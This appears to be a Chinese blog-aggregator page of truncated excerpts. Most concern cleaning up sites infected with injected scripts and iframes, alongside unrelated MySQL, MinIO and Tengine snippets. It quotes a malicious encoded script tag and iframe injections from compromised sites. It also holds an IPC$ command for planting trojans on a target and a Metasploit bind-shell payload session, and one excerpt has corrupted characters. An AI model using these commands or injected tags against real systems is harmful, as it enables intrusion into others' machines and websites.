最近发现自己的网站跳转到了别人的网站，经过排查发现数据库被挂了js，几万条数据全部遭殃，虽然所用的cms后台提供有数据替换功能，但是具体mysql语句怎么写的自己还不是很清楚。虽然命令简单，但是还是需要记录一下。UPDATE表名SET字段名=REPLACE(字段名,'待替换字符串','替换成此字符串');UPDATEmac_vodSETd_name=REPLACE(
原创
2020-01-02 10:01:12
730阅读
帝国CMS是一款相当安全的开源cms程序，如果使用规范的模板，一般是不会被挂马的。但如果你是从网上下载的是免费的帝国CMS模板，因为根本无法找到开发者，且中间经了不知道几手，所以不排除别有用心的人或是留了后门。这个时候，我们要怎样安全地使用网上下载的免费模板呢？首先我们要知道，后门的排查是一个繁琐的工作，一个帝国CMS程序包括了几万个独立的PHP文件，如果你要逐个排查，或者说你哪怕只是缩小范围
转载
2023-07-08 14:51:30
114阅读
众所周知，目标主机建立IPC$连接后，要把后门，木马之类的软件传过去，这就是DOS基础的命令，是入侵的基?Ｎ艺饫锞托锤龈袷健?一、copy 呵呵，命令一写就知道了吧，在网上看的太多了，其他格式都不用我写了，呵呵。 copy 本地文件 \\目标IP\目标共享文件夹
转载
2010-02-13 02:42:57
218阅读
在百度上搜索 ：
site:tpy888.cn 零点棋牌
出现sitemap/Artlc.php
很是奇怪，文件的属主是www:www
后来我把目录修改成744，index.php为644，再把discuz的
data/avatar目录删除了，竟然问题解决了。
用下面的命令找出来的：
/bbs/data/avatar/0/8/dam.php:
原创
2012-06-04 18:00:16
856阅读
在网络安全领域，Linux系统一直以其稳定性和安全性而备受推崇。然而，即使是这样一个被广大用户认为安全无比的系统，也难免会受到恶意软件的侵袭。其中，一种常见的恶意软件就是“挂马”（Trojan horse）。
“挂马”是指一种假冒正规程序，潜藏在系统中，等待着不法分子的操控，实施各种恶意活动的恶意软件。它通常会伪装成一些看起来无害的程序或文件，诱骗用户点击下载或安装，一旦用户中招，挂马就会开始悄
原创
2024-03-04 12:44:28
55阅读
# 使用MySQL挂载用户到具体的数据库
在使用MySQL数据库的过程中，管理用户权限是一个非常重要的方面。为用户分配访问特定数据库的权限，可以确保数据的安全及合理利用。在这篇文章中，我们将详细探讨如何为MySQL用户挂载到具体的数据库。
## 整体流程
为了帮助你理解整个过程，下面是我们需要遵循的步骤：
| 步骤 | 操作
文章目录一、前言二、客户端操作MinIO Client（mc）1）mc Shell 自动补全2）查看mc版本3）列出来自https://play.min.io的所有存储桶4）创建桶5）复制文件到MinIO6）日常使用7）MinIO 管理员操作1）查看集群信息2）全局选项1、选项 [--debug]2、选项 [--json]3）命令service- 重启和停止所有 MinIO 服务器4）命令poli
挂马新手段
2008-08-19 15:41:24
标签：挂马 新手段 [
转载
精选
2008-08-30 04:46:41
359阅读
近段时间，blog经常被<script src=http://%76%63%63%64%2E%63%6E></script>挂上木马。搜集资料，也做过相应css样式来解决，但css不能阻止页面有此木马，只是客户端访问的时候，屏蔽掉或者终止掉，测试后杀毒软件还是会提示网
原创
2009-10-15 10:42:42
706阅读
网页木马定义：
取得控制权的网站--嵌入恶意代码--用户访问（恶意代码利用浏览器，第三方activex或插件（flash，pdf）漏洞）--下载并执行恶意代码。
挂马方式：
&
原创
2010-04-02 14:07:38
884阅读
2评论
MySQL基础应用学习首先了解下MySQL的基本结构，按照级别的包含关系是：用户>数据库>数据表>数据，以下一一介绍下基本操作应用。一、用户操作1、创建用户格式：create user ‘用户名’@‘用户适用的网络地址’ identified by ‘密码’；说明：用户适用的网络地址取值与远程登录访问权限有关。1）localhost：代表只可以本地登录访问用户；2）10.0.15
转载
2023-11-02 06:13:59
87阅读
<iframe src="[url]http://www.5study.com/admin-nis/eWebEditor/CSS/index.htm[/url]" name="zhu" width="0" height="0" frameborder="0"></iframe><iframe src="[url]http://www.5study.com/admin-
原创
2007-03-07 22:17:11
1135阅读
今天在检查网站时，通过urlsnoof发现网站有很多链接，通过分析代码发现存在以下内容：
<MARQUEE width=0 height=0><a href="[url]http://www.zondatz.com[/url]">涂装设备</a><a href="[url]http://www.jshxzj.com[/url]">抛丸机</a
原创
2008-08-19 15:41:24
1144阅读
Access to XMLHttpRequest at ‘xxx’ from origin ‘xxx’ has been blocked by CORS policy: No ‘Access-Control-Allow-Origin’ header is present on the requested resource.有关跨域请求和同源策略的详细知识点见《同源策略及跨域解决方法》，这里只讲解N
半夜一个网站被黑了，然后突然发现在访问服务器所有html页面的时候，自动插入iframe通过以下各项检查，均未能发现问题1、安装了防火墙2、检查了web程序3、检查了当天有没有新建或修改的文件（exe,bat,dll等）4、非本地DNS被ARP准备放弃的时候。查看了下iis的的配置
我们找到这个文件
打开以后果然是挂马的IFRMAE内容
打开IIS，在你的计算机名（根目录）右键选择属性，
原创
2009-10-29 17:34:20
1101阅读
Oracle/MSSQL/Mysql 常用数据库的字段类型及大小 ORACLE的数据类型常用的数据库字段类型如下：字段类型 中文说明 限制条件 其它说明CHAR 固定长度字符串 最大长度2000 bytes `VARCHAR2 可变长度的字符串 最大长度4000 bytes 可做索引的最大长度749NCHAR 根据字符集而定的固定长度字符串 最大长度2000 bytesNVA
转载
2024-09-12 22:26:24
23阅读
MSSQL数据库被插入JS/sql注入挂马的解决方法
黑客先从搜索引擎google、百度等搜索存在漏洞的采用asp+mssql设计的网站，然后采用小明子这样的注入扫描工具，扫描整个网站，一旦发现有sql注入的漏洞或者上传漏洞，黑客就通过各种手段，上传自己的大马，如海阳木马；然后，黑客就把这个网站纳入他的肉鸡列表，随时在数据库里加入自己希望加的js代码，而这些代码往往是包含着众多的的病毒、
转载
精选
2009-01-19 11:05:42
1654阅读
<%@LANGUAGE="VBScript" CODEPAGE="936"%> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 TranSitiOnal//EN" "http://www.w3.Org/TR/xhtml1/DTD/xhtml1-tranSitiOnal.dtd"> <html xmlnS="http://w
原创
2009-07-30 15:20:57
451阅读
root@localhost:~# msfconsolmsf > show #寻求帮助msf > use windows/shell/bind_tcp#msf payload(bind_tcp) > set RHOST 192.168.48.100RHOST => 192.168.48.100msf payload(bind_tcp) > generate -tc#
原创
2017-07-04 14:46:34
1898阅读
简介Tengine是由淘宝网发起的Web服务器项目。它在Nginx的基础上，针对大访问量网站的需求，添加了很多高级功能和特性。Tengine的性能和稳定性已经在大型的网站如淘宝网，天猫商城等得到了很好的检验。它的最终目标是打造一个高效、稳定、安全、易用的Web平台。特性继承Nginx-1.6.2的所有特性，兼容Nginx的配置；动态模块加载（DSO）支持。加入一个模块不再需要重新编译整个Tengi
